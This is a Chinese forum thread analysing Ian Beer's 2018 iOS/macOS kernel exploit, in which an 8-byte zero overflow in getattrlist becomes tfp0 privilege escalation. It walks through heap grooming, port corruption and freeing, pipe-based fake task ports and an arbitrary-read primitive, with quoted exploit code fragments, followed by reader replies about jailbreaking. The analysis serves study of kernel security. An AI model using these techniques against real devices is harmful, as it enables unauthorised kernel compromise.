一个很nice的漏洞利用的分析


#1

0x00.前言

憋了半天终于憋出来了…这是lan Beer在2018年写的一个Poc,利用的方式十分的巧妙,利用了很多巧妙的方式来提供成功率,如创建大量的闲置线程去抢占CPU,从而维护堆空间的稳定,虽然成功率只有50%(lan Beer said on Tiwtter),但是其中对于仅仅溢出8个零字节的方式就达到提权的方式还是非常值得我们去学习的。

0x01.漏洞产生点

漏洞的产生点就在我们没有对于bufferSize的下界进行检查,所以我们可以传递一个很小的buffer

 /*
   * Allocate a target buffer for attribute results.
   * Note that since we won't ever copy out more than the caller requested,
   * we never need to allocate more than they offer.
   */
  ab.allocated = ulmin(bufferSize, fixedsize + varsize);
  if (ab.allocated > ATTR_MAX_BUFFER) {
    error = ENOMEM;
    VFS_DEBUG(ctx, vp, "ATTRLIST - ERROR: buffer size too large (%d limit %d)", ab.allocated, ATTR_MAX_BUFFER);
    goto out;
  }
  MALLOC(ab.base, char *, ab.allocated, M_TEMP, M_ZERO | M_WAITOK);

但是溢出的数据是并不受我们控制的,至于为什么,我们来看一下函数原型就知道了:

static int
 getattrlist_internal(vnode_t vp, struct getattrlist_args *uap, proc_t p, vfs_context_t ctx)
 {
 ...
 ...
 ...
 if (al.volattr) {
 if (al.fileattr || al.dirattr || al.forkattr) {
 error = EINVAL;
 VFS_DEBUG(ctx, vp, "ATTRLIST - ERROR: mixed volume/file/directory/fork attributes");
 goto out;
 }
 error = getvolattrlist(vp, uap, &al, ctx, proc_is64);
 goto out;
 }

if的判断条件来看,alvolattr不为0之后,其他的三个属性如果不是0就会进入错误的分支,所以我们只能溢出8个字节的0,那么这个偏移是如何计算的呢,重点就在最后的bcopy函数了:

bcopy(&ab.actual, ab.base + sizeof(uint32_t), sizeof(ab.actual));

这个地方我们最多只能溢出八个字节的原因是因为ab.actual的大小为0x14sizeof(uint32_t)为4字节,所以最多只会溢出0x14+0x4-0x10=8个字节的数据,并且建立在buffer在kalloc.16的区间内。

接下来就是如何一步步通过这个溢出来达到提权的过程

0x02.漏洞利用

目前还没有对所有的细节看的非常清楚,但是lan Beer做的一连串的操作已经让我目瞪口呆了,我就从宏观上来说一下大概做了什么事情:

lan Beer采用的是tfp0的方式来实现任意地址读写,这意味着我们需要拿到一个拥有内核权限的端口,他尝试在内存空间分配了一连串的连续页面,形如下面的样子:

kalloc.16 | ipc_ports | kalloc.16 | ipc_ports …

这个时候我们在kalloc.16的那个页面上想要尝试做溢出,但是如果我们溢出到了freelist只会导致内核panic,那么怎样才能将我们溢出的8个字节控制到页面的边界,从而覆盖ipc ports的那个页面呢?

这里我们可以发现free list其实采取的是一种半随机化的分配方式:

| 9 8 6 5 2 1 3 4 7 10 | <-- example “randomized” allocation order from a fresh all-free page

也就是说我们通过将页面里面的所有kalloc.16全部释放之后,free list就会reverse,那么重新申请的kalloc.16就是从free list的两边往中间扩散,如果重新申请kalloc.16的在页面的最右边,然后我们触发漏洞,就能将ipc port页面的前八个字节给覆盖成0,这个就是我们的目的:

 | 1 4 - - - - - 5 3 2 | | 2 5 - - - - - 4 3 1  |
         kalloc.16             ipc_ports       

在反向的freelist中,如果我们从边界开始做溢出的话,很可能就会溢出到-,也就是free list中,所以我们会先剪去一个值,比如说我们从3开始做溢出,在溢出之后再申请一个内存占位,这样循环只会溢出到kalloc 16 chunk,或者到ipc ports,也就是我们希望达到的效果。这样一来就保证了我们的漏洞触发并不会崩溃,并且最后一定会溢出到一个ipc port,这里会出现问题的地方就是如果页面中间的内存没有分配,触发漏洞就会panic,就算我们剪去一个数也是没有办法百分百保证一定会成功的。

接下来就是把这个被覆盖的port给找出来,因为ip_object->ip_object->io_bits被覆盖为NULL,ip_active(port) 就会为false,那么调用mach_port_kobject就会返回KERN_INVALID_RIGHT,根据这个特征我们就可以拿到目标端口的port name了:

err = mach_port_kobject(mach_task_self(),
                                    candidate_port,
                                    &typep,
                                    &addr);
            if (err != KERN_SUCCESS) {
                printf("found the port! %x\n", candidate_port);
                target_port = candidate_port;
                break;
            }
        }
        // Stop searching. We found the corrupted port.
        if (target_port != MACH_PORT_NULL) {
            break;
        }

这中间其实lan Beer还做了很多操作去提升成功率,比如为ipc_kmsgtrailer构造free list来降低干扰等,感兴趣的可以去具体看一下lan Beer的poc,我这里就不多说了。

接下来我们拿到这个被覆盖了前八个字节的端口之后,接下来我们要将它释放掉,方便我们之后去重新布置上面的数据,但是由于它的状态并不是active的,所以我们需要寻找一种方式找到一个函数减少它的reference,并且这个函数不会做其他多余的事情,比如说仅仅返回一个状态码。

经过寻找之后可以定位到mach_port_set_attributes这个函数上:

ip_reference(port);
ip_unlock(port);
...
...
// 因为"ipc_port->ipc_object->io_bits" 为 NULL, "ip_active(port)" 就是 false ,代码运行到else部分
if (ip_active(port) && (port->ip_requests == otable) &&
((otable == IPR_NULL) || (otable->ipr_size+1 == its))) {
...
...
...
} else {
	ip_unlock(port);
	// 这里减少了引用,这里的引用数就变成了0,如果继续深挖下去,最后会被"io_free"这个函数释放掉
	ip_release(port);
	it_requests_free(its, ntable);
	}
	//"ip_active(port) == false"并不是一个错误的情况,所以我们的返回值还会是KERN_SUCCESS
	return KERN_SUCCESS;
}

端口被释放之后我们在页面中间找一个端口作为我们的canary port,接下来的目标就是用这个canary port来覆盖target portip_context字段,我们的做法是触发系统的GC(这是一个很精髓的堆空间操作),然后把一个充满我们布置数据的页面来替换target port的那个页面。

如果上一步成功了的话,那么我们应该可以用mach_port_get_context来返回canary port的地址:

kern_return_t
     mach_port_get_context(
     ipc_space_t   space,
     mach_port_name_t  name,
     mach_vm_address_t *context)
     {
     ipc_port_t port;
     kern_return_t kr;

     if (space == IS_NULL)
     return KERN_INVALID_TASK;

     if (!MACH_PORT_VALID(name))
     return KERN_INVALID_RIGHT;
     
     kr = ipc_port_translate_receive(space, name, &port);
     if (kr != KERN_SUCCESS)
     return kr;
     //流程进入else
     if (port->ip_strict_guard)
     *context = 0;
     else
     //ipc_port->ip_context的值将会被直接返回给用户空间
     *context = port->ip_context;
     ip_unlock(port);
     //这里并没有其他的安全性校验,直接返回了
     return KERN_SUCCESS;
     }

这里虽然我们用来覆盖的canary port只是一个port name,但是我们是通过OOL message发送到内核的,所以这个地址会自动被转换为canary portipc port的真实地址。

最后我们通过这个函数就可以在用户空间去拿到canary portipc port的地址了,剩下操作就比较显而易见了,如果我们有了一个受我们掌控的port

因为之前占住target port的是ool message,我们再接受消息回来,空间被释放掉了,接下来申请一串pipe,来占住那个页面,而在这些pipe上布置的是我们布置好的fake port,其中fake task的地址指向的是离canary port那个页面0x10000(取决于内核页面大小)的页面,地址暂记为pipe_target_kaddr

此时我们可以做一个小测试来看看target port是否被布置好的pipe buffer给替换了:

 err = pid_for_task(target_port, &val);
    if (err != KERN_SUCCESS) {
        printf("pid_for_task returned %x (%s)\n", err, mach_error_string(err));
    }
    //如果返回0x80000002就说明我们覆盖成功了
    printf("read val via pid_for_task: %08x\n", val);

接下来我们想要找到创建出来的那一连串pipe中的pipe_target_kaddr对应的piper/w接口是哪一个,从而控制fake task中的数据,所以我们可以写一个循环来找:

for (int i = 0; i < next_pipe_index; i++) {
        if (i == replacer_pipe_index) {
            continue;
        }
        read(read_ends[i], old_contents, 0xfff);
        // 我们把想要找到的那个pipe读的值给修改一下,偏移+4
        build_fake_task_port(new_contents, pipe_target_kaddr, pipe_target_kaddr+4, 0, 0, 0);
        write(write_ends[i], new_contents, 0xfff);
        
        uint32_t val = 0;
        err = pid_for_task(target_port, &val);
        if (err != KERN_SUCCESS) {
            printf("pid_for_task returned %x (%s)\n", err, mach_error_string(err));
        }
        printf("read val via pid_for_task: %08x\n", val);
        //如果此时的返回值为0xf00d,说明我们成功的找到了那个pipe buffer的地址
        if (val != 0x80000002) {
            printf("replacer fd index %d is at the pipe_target_kaddr\n", i);
            pipe_target_kaddr_replacer_index = i;
            break;
        }
    }

拿到地址后,我们就可以准备任意地址读了:

prepare_early_read_primitive(target_port, read_ends[pipe_target_kaddr_replacer_index], write_ends[pipe_target_kaddr_replacer_index], pipe_target_kaddr);

void prepare_early_read_primitive(mach_port_t target_port, int read_fd, int write_fd, uint64_t known_kaddr) {
    early_read_port = target_port;
    // 通过这两个管道,我们就可以完全控制target port的fake task的值来进行任意地址读
    early_read_read_fd = read_fd;
    early_read_write_fd = write_fd;
    // 这个就决定了我们的fake task地址
    early_read_known_kaddr = known_kaddr;
}

下面我们就该canary port出场了,因为我们知道canary port的内核地址,所以如果我们向这个端口发送消息,消息的local port设置为mach_host_self(),那么这就意味着可以通过ipc_port.ip_messages.messages->messages[0]先找到kmsg然后再通过kmsg->ikm_header->msgh_local_port找到我们的host portipc port地址!接下来我们也将通过同样的方式来找到我们的task port地址。

通过位运算定位到host port的页面开头,然后从页面的开头开始找kernel task port,然后就可以通过tfp0的方式达到提权,lan Beer的整个流程分析就到此结束了,但是其中还有一些细节没有完全的解释清楚,有兴趣的可以看一下他的poc,和我探讨一下。

0x03.参考链接


#2

太强了,完全看不懂


#3

只知道越狱是因为有漏洞

漏洞一个接一个的放出来

还是不会越狱

想问下怎么写越狱软件.思路一般都是什么,有没有通俗易懂的说法给我们个宏观的概念


#4

溢出字节 .为什么溢出字节可以提权呢,
我的理解是:提权是指拿到root权限 有了root权限就是越狱了然后代码安装cydia就是越狱工具了是不是,如果是的话

提权都有什么思路.类似溢出可以提权还有啥可以提权.感谢大佬.希望能得到解惑.我也想完美越狱12系统,不知道苹果更新12.0前 来不来得及.现在啥也不会


#5

先去学习一下MacOS和iOS系统再看看会清楚些,我也是新手


#6

一般你都是怎么学习macos和iOS系统的啊.iOS系统不是闭源的吗


#7


#8

谢谢!!!最后一个问题,那提权的思路呢,也是搜吗


#9

是我最喜欢的看不懂环节


#10

最近有点膨胀,这样的文章也敢点进来了


#11

虽然看不懂,但是感觉好厉害的样子。


#12

大致过程就是沙箱逃逸,dylib注入bypass代码签名,root权限remount磁盘分区,运行kernel exp, patch kernel完成禁用代码签名,允许rwx页面,task_for_pid0, 设置PE_i_can_has_debugger,安装cydia


#13

你好,我也是搞提权研究的。
在其它漏洞利用里,也经常用到host port和task port。
请教下,host port和task port有什么区别呢?
它们是否都是属于TASK端口,只是host port权限更高,可以对TASK进行控制吗(苹果网站上貌似是这个意思)?
还有一种host_priv端口,它是否就是root task的host port?
谢谢。


#14

强势,不明觉厉 :+1:


#15

host port就一个啊,看具体函数吧,在iOS拿到了host port还有一堆其他的限制也是需要绕过的,比如你拿到了一个进程的task port,但是首先先绕过task_conversion_eval,不然也是没办法修改的。


#16

不是每个任务有一个?那么在xnu里,host port具体有什么作用呢


#17

我记得是task才是一个任务一个吧,host是最后一级的handler


#18

tql,看不懂